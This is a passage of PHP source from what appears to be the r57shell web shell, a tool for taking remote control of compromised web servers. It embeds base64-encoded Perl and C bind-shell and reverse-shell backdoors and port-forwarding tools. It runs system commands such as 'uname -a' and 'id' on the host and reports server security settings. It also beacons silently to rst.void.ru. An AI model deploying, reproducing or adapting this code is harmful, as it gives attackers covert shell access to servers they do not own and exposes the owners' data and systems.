  1379. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1380. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1381. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1382. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1383. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1384. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1385. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1386. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1387. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1388. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1389. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1390. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1391. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1392. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1393. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1394. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1395. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1396. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1397. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1398. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1399. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1400. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1401. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1402. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1403. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1404. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1405. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1406. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1407. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1408. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1409. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1410. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1411. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1412. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1413. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1414. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1415. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1416. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1417. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1418. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1419. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1420. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1421. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1422. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1423. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1424. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1425. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1426. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1427. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1428. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1429. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1430. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1431. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1432. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1433. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1434. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1435. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1436. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1437. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1438. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1439. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1440. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1441. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1442. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1443. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1444. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1445. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1446. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1447. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1448. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1449. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1450. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1451. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1452. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1453. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1454. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1455. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1456. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1457. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1458. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1459. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1460. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1461. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1462. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1463. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1464. $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
  1465. JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
  1466. lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
  1467. FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
  1468. 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
  1469. J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
  1470. oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
  1471. xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
  1472. i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
  1473. dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
  1474. ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
  1475. hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
  1476. $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
  1477. IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
  1478. hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
  1479. tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
  1480. XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
  1481. 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
  1482. ybmV0LS0+";
  1483. if($unix)
  1484.  {
  1485.  if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  1486.  if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  1487.  if($safe_mode) { $sysctl = '-'; }
  1488.  else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  1489.  else  
  1490.   {     
  1491.    $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  1492.    if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  1493.    if(empty($sysctl)) { $sysctl = '-'; }
  1494.    setcookie('sysctl',$sysctl);
  1495.   }  
  1496.  }
  1497. echo $head;
  1498. echo '</head>';
  1499. if(empty($_POST['cmd'])) {
  1500. $serv = array(127,192,172,10);
  1501. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1502. $current_version = str_replace('.','',$version);
  1503. if (!in_array($addr[0], $serv)) {
  1504. @print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  1505. @readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}  
  1506. echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
  1507. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
  1508. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1509. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1510. if($unix)
  1511.  {
  1512.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1513.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1514.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
  1515.  }
  1516. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1517. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1518. echo ws(2)."safe_mode: <b>";
  1519. echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  1520. echo "</b>".ws(2);
  1521. echo "PHP version: <b>".@phpversion()."</b>";
  1522. $curl_on = @function_exists('curl_version');
  1523. echo ws(2);
  1524. echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  1525. echo "</b>".ws(2);
  1526. echo "MySQL: <b>";
  1527. $mysql_on = @function_exists('mysql_connect');
  1528. if($mysql_on){
  1529. echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
  1530. echo "</b>".ws(2);
  1531. echo "MSSQL: <b>";
  1532. $mssql_on = @function_exists('mssql_connect');
  1533. if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1534. echo "</b>".ws(2);
  1535. echo "PostgreSQL: <b>";
  1536. $pg_on = @function_exists('pg_connect');
  1537. if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1538. echo "</b>".ws(2);
  1539. echo "Oracle: <b>";
  1540. $ora_on = @function_exists('ocilogon');
  1541. if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1542. echo "</b><br>".ws(2);
  1543. echo "Disable functions : <b>";
  1544. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1545. $free = @diskfreespace($dir);
  1546. if (!$free) {$free = 0;}
  1547. $all = @disk_total_space($dir);
  1548. if (!$all) {$all = 0;}
  1549. echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
  1550. echo '</font></td></tr><table>
  1551. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1552. <tr><td align=right width=100>';
  1553. echo $font;
  1554. if($unix){
  1555. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1556. echo "</td><td>";
  1557. echo "<font face=Verdana size=-2 color=red><b>";
  1558. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1559. echo ws(3).$sysctl."<br>";
  1560. echo ws(3).ex('echo $OSTYPE')."<br>";
  1561. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1562. if(!empty($id)) { echo ws(3).$id."<br>"; }
  1563. else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
  1564.  {
  1565.  $euserinfo  = @posix_getpwuid(@posix_geteuid());
  1566.  $egroupinfo = @posix_getgrgid(@posix_getegid());
  1567.  echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'
  1568.  }
  1569. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  1570. echo ws(3).$dir;
  1571. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1572. echo "</b></font>";
  1573. }
  1574. else
  1575. {
  1576. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1577. echo "</td><td>";
  1578. echo "<font face=Verdana size=-2 color=red><b>";
  1579. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1580. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1581. echo ws(3).@getenv("USERNAME")."<br>";
  1582. echo ws(3).$dir;
  1583. echo "<br></font>";
  1584. }
  1585. echo "</font>";
  1586. echo "</td></tr></table>";
  1587. if(empty($c1)||empty($c2)) { die(); }
  1588. $f = '<br>';
  1589. $f .= base64_decode($c1);
  1590. $f .= base64_decode($c2);
  1591. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1592.  {
